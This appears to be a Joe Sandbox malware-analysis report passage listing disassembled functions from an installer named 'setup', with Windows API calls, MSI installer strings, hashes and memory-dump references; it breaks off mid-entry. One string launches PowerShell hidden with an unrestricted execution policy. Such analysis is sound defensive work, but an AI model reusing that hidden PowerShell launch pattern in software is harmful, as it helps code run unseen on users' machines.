Opcode Fuzzy Hash: 2f5317e98c71c45bdf4de60b76ad016faef7f8577bd4b5bb4b72c80e4f47aa84
Instruction Fuzzy Hash: 3E41AD309016899FDF24DFA9C956BEDB3B4EF04320F50826DE825A72D1DB70AE44CB50

Function 00C177A0 Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000FC), ref: 00C1780F
SetWindowLongW.USER32(00000000,000000FC,?), ref: 00C1781D

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: ae784db7f1164126655b88bf7c655ae23bb32066895bf71fff218fadbfdae276
Instruction ID: 3ebd542b78d2e2ce3992622f8d4dc36da804d62a573508de13b30a0f27c8c996
Opcode Fuzzy Hash: ae784db7f1164126655b88bf7c655ae23bb32066895bf71fff218fadbfdae276
Instruction Fuzzy Hash: 8F31AC71904205EFCB10DF69CA44B89FBB4FB05320F20836AE824A76E0D771AA54CBE0

Function 00BDEF30 Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

__set_se_translator.LIBVCRUNTIME ref: 00BDEF35
SetUnhandledExceptionFilter.KERNEL32(Function_0012AD60), ref: 00BDEF4B

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled__set_se_translator
String ID:
API String ID: 2480343447-0
Opcode ID: 560d03ab789c3feb830e03c56699f3788fa101792f05cebf973c06c7941e6959
Instruction ID: 14a095b4de73d5d4a67e9e2a5cc3c3fe219450b8e3f791f7546dc29f0568528a
Opcode Fuzzy Hash: 560d03ab789c3feb830e03c56699f3788fa101792f05cebf973c06c7941e6959
Instruction Fuzzy Hash: B0D012649493845EE711A721DC0EB167FE0676B709F0805A9D45611693E7B56C4C8723

Function 00C1ADE0 Relevance: 1.8, Strings: 1, Instructions: 521COMMON

Download Yara Rule

Strings

unordered_map/set too long, xrefs: 00C1AFC5, 00C1B1B2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ExceptionRaise__floor_pentium4
String ID: unordered_map/set too long
API String ID: 996205981-306623848
Opcode ID: eab168fe631ea12d0bb3c26a85cdfd24976d71c7a1a3159b3ba3bf043f31c3f2
Instruction ID: 959b15a1cb7f91070c23456eb8727b2f4fa16974bc246cbdb2994be70dcf7c8b
Opcode Fuzzy Hash: eab168fe631ea12d0bb3c26a85cdfd24976d71c7a1a3159b3ba3bf043f31c3f2
Instruction Fuzzy Hash: 8B12C271A002099FCB15DF69C881AADF7F5FF49310F24826AE815AB391D730ED55CBA0

Function 00BC9430 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,-00002000,?,?,00BC7B87,?,?,?,?,?,?,?,?,00BC79F8,?,?), ref: 00BC9480

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 7a42c233e1db03f1b22b302c5339127f3b6161caf7bf00804393800fcb0350d4
Instruction ID: 4a9da96e75ba5e7cdc85a073a9cd4aeedc483f2dc17c25361a651965fe8a14f8
Opcode Fuzzy Hash: 7a42c233e1db03f1b22b302c5339127f3b6161caf7bf00804393800fcb0350d4
Instruction Fuzzy Hash: D5F05E30004141DEF7298B54C89CF69B7EAFB59316F4945EAE058C6661D6358D46DF10

Function 00D9A04C Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

\, xrefs: 00D9A084

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-542105448
Opcode ID: 2afe3519ef96bbb1b15e98c8d9df4b9c212f224972177faa805f8b5a319ff55a
Instruction ID: 9738199fa06fef3b04f25d35a0d0be44d8909016b05e7a82227b32f8def91c8f
Opcode Fuzzy Hash: 2afe3519ef96bbb1b15e98c8d9df4b9c212f224972177faa805f8b5a319ff55a
Instruction Fuzzy Hash: 80F06D32A11324EFCF26CB4CC805A99B3ECEB4AB61F115096F509EB254C2B1EE40C7E5

Function 00D9CD89 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d90245fb0b79078fd8005c2d18e1e6cfc41a6526e74b40c3e8a091080166ec
Instruction ID: 8726e5e6c3aaaedce07a8b357bb2adec078b80f5dcdc9c3efa4db34e24d11002
Opcode Fuzzy Hash: 10d90245fb0b79078fd8005c2d18e1e6cfc41a6526e74b40c3e8a091080166ec
Instruction Fuzzy Hash: ED324731E29F414DDB239A39CC22335A299AFB73C4F15D727F91AB59A9EB29C4C34110

Function 00D8891C Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c3d1fd2f24075ce94a30956d182766c2081e505a7fb375bf3970c80b2e19a6
Instruction ID: dd25c11c0354ab817ff3958979491f1af91779283e59eabf32b363acc5a133a7
Opcode Fuzzy Hash: c8c3d1fd2f24075ce94a30956d182766c2081e505a7fb375bf3970c80b2e19a6
Instruction Fuzzy Hash: 98E1A070A006058FCB28FF68C580A7EB7F1FF45310BA8465AD5969B291DB30ED42EB71

Function 00BB6CD0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78fec2bc03020dc43dac3653a83023543a8afa90a7ae370d6e288fcd0a597f87
Instruction ID: 64ff9e009d15a0009d69f2f3cc0c29b5e9e75947e0e534668b20145bece18b5c
Opcode Fuzzy Hash: 78fec2bc03020dc43dac3653a83023543a8afa90a7ae370d6e288fcd0a597f87
Instruction Fuzzy Hash: A071F7B1801B48CFE761CF78C94478ABBF0BB05324F144A5ED5A99B3D1D3B9A648CB91

Function 00C689B0 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ab2cdbbb9b40ed744c38407e403bd41a6196284f5b95117f2c0a129b2d83f4
Instruction ID: eafc47287aad14c36891d7e4aea566266612312638a29ea7b1c4a04142e3677d
Opcode Fuzzy Hash: a7ab2cdbbb9b40ed744c38407e403bd41a6196284f5b95117f2c0a129b2d83f4
Instruction Fuzzy Hash: 3341F8B0905749EED704CF65C50878AFBF0BB19318F20825ED4589B781D3BAA659CBD4

Function 00BBFF50 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 477c6be96c72731879ff22ef293ff3be492e738a93bb90eebad95f44ac930987
Instruction ID: fdf4df9eff69f0d88985437ff40785984546e916b999be94314a3083450a2cfd
Opcode Fuzzy Hash: 477c6be96c72731879ff22ef293ff3be492e738a93bb90eebad95f44ac930987
Instruction Fuzzy Hash: 3531D0B0405B84CEE721CF69C558387BFF0BB15728F104A5DD4A69BB91C3BAA648CB91

Function 00BB9360 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e46297a48ff9db25e03dff955fc62427b0bb428c003285b4bdda79b12902fe9
Instruction ID: 25ea36a6e7e10c9b5a6661803200d5f20a0367a1271934c78044f73cb75bae46
Opcode Fuzzy Hash: 7e46297a48ff9db25e03dff955fc62427b0bb428c003285b4bdda79b12902fe9
Instruction Fuzzy Hash: 55218BB0801748CFD710CF58C90478AFBF4FB09314F11869ED455AB791E3B9AA48CB90

Function 00BB9920 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406abc7e38223dcb54e7df03a9ae98a766efb6af6c0cfb33fca2ac158471cf2b
Instruction ID: 9faf3d999b1e4e7161af85b6a64a26933250a09caab1e2bd520ca959072fe2df
Opcode Fuzzy Hash: 406abc7e38223dcb54e7df03a9ae98a766efb6af6c0cfb33fca2ac158471cf2b
Instruction Fuzzy Hash: 372177B0800788CFD710CF59C90478ABBF4FB09314F1086AED445AB7A1E3B9AA48CB90

Function 00BD6FE0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80065d94ab8f885320a65f4d62d2493f4ebb349b1a266538e0657c3955fe56e3
Instruction ID: 4310b22a60948e7cb937a6e08f3bdca77752f7eab8d961454570928078fa1332
Opcode Fuzzy Hash: 80065d94ab8f885320a65f4d62d2493f4ebb349b1a266538e0657c3955fe56e3
Instruction Fuzzy Hash: 7C1100B1905208DFC740CF58C544789BBF4FB09328F2086AEE8189B381D3769A0ACF80

Function 00D9A090 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction ID: 55039705ce78f9f4c59ca58816b998b6e8b4fd138b36a5c6f8b305b73f68d1b5
Opcode Fuzzy Hash: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction Fuzzy Hash: 56E0EC72A11238EBCF25DBDCCA4499AF3ECEB49B50B15449AF505D3251C670DE40C7E2

Function 00D8B54A Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73c49dcd6a38a6f9d983d59ebea3246ec313382ecab39c60e3469a3ba83b9cc2
Instruction ID: f4dc1c429b8620766c779f902f18b856ac948548f465c5a3dc565a18f37b5255
Opcode Fuzzy Hash: 73c49dcd6a38a6f9d983d59ebea3246ec313382ecab39c60e3469a3ba83b9cc2
Instruction Fuzzy Hash: 4CC08C342009008ACE6AE92492713A83354E3D6B92F8804CED4060B752C61EDC82D731

Function 00CDBA30 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 199COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00CDBB81
GetForegroundWindow.USER32(?,00CE41E9), ref: 00CDBB91
SetForegroundWindow.USER32(00000000), ref: 00CDBBCB

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

OutputDebugStringW.KERNEL32(?,02141699,?,?,?,000000FF,?,00CE41E9,?), ref: 00CDBC1F

Strings

TRANSFORMS=:%s.mst MSINEWINSTANCE=1 , xrefs: 00CDC8BB
inst, xrefs: 00CDC6DA, 00CDCBDF
,j, xrefs: 00CDC277
"%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 00CDC7C3
"%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 00CDCC99
TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 , xrefs: 00CDC8AA
"%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 00CDC75D
REINSTALL=ALL REINSTALLMODE=vomus , xrefs: 00CDCD4D
AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 00CDCB40
.mst, xrefs: 00CDC742, 00CDC7A9, 00CDCC78
%s , xrefs: 00CDC9F7, 00CDCD3B
/x %s , xrefs: 00CDCDF0
majorupgrade-content.mst, xrefs: 00CDC701, 00CDCC09
.msi, xrefs: 00CDC6F2, 00CDCBFA
TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1, xrefs: 00CDC862
MSINEWINSTANCE=1 , xrefs: 00CDC891

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$ForegroundInit_thread_footer$ActiveDebugHeapOutputProcessString
String ID: "%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ %s $ /x %s $ AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ MSINEWINSTANCE=1 $ REINSTALL=ALL REINSTALLMODE=vomus $ TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1$ TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 $ TRANSFORMS=:%s.mst MSINEWINSTANCE=1 $,j$.msi$.mst$inst$majorupgrade-content.mst
API String ID: 1401059542-1006386134
Opcode ID: f60b40eb15960a395360afbb68b45fe766c8c52380f51477ceb71022fd35fa27
Instruction ID: f50b1925374747ee1357ee3e905c675f485f6b35f40fdde3f0a3e9e58f7c4734
Opcode Fuzzy Hash: f60b40eb15960a395360afbb68b45fe766c8c52380f51477ceb71022fd35fa27
Instruction Fuzzy Hash: 90612475A00205DFDB14DF69C8057AEBBF4EF45320F1582AEE925A7391EB309E05CBA0

Function 00D06DB0 Relevance: 30.1, APIs: 9, Strings: 8, Instructions: 335COMMON

Download Yara Rule

Strings

powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new, xrefs: 00D06F0F
Unable to retrieve PowerShell output from file: , xrefs: 00D0710E
Unable to get a temp file for script output, temp path: , xrefs: 00D06EBF
txt, xrefs: 00D06E83
ps1, xrefs: 00D06E56, 00D06E68, 00D06E72
Unable to find file , xrefs: 00D06DE3
Unable to create process: , xrefs: 00D06FB4
Unable to retrieve exit code from process., xrefs: 00D07131

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: Unable to create process: $Unable to find file $Unable to get a temp file for script output, temp path: $Unable to retrieve PowerShell output from file: $Unable to retrieve exit code from process.$powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new$ps1$txt
API String ID: 0-4129021124
Opcode ID: eece98acb44d0108538568d2fc0b2642d2edd8a67124e45cc429edad752ad1db
Instruction ID: 513d7c94e0a202178d783b4d82a8be84c9147ef2bff79b7843d6377a028d5d0b
Opcode Fuzzy Hash: eece98acb44d0108538568d2fc0b2642d2edd8a67124e45cc429edad752ad1db
Instruction Fuzzy Hash: 47C1AC71D04609EFDB10DFA8CD05BAEBBF4EF09310F248259E514AB2D1DB75AA44CBA1

Function 00CD5500 Relevance: 28.4, APIs: 9, Strings: 7, Instructions: 414libraryloaderthreadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00EA47AC,02141699,00000000), ref: 00CD56A3
EnterCriticalSection.KERNEL32(00EA47AC,02141699), ref: 00CD56B8
GetCurrentProcess.KERNEL32 ref: 00CD56C5
GetCurrentThread.KERNEL32 ref: 00CD56D3
LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,00000000), ref: 00CD576D
GetProcAddress.KERNEL32(00000000), ref: 00CD5774
__Init_thread_footer.LIBCMT ref: 00CD5788
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,?,?,00000000), ref: 00CD59BE
LeaveCriticalSection.KERNEL32(00EA47AC,?,00000000), ref: 00CD5AFC

Strings

Dbghelp.dll, xrefs: 00CD5768
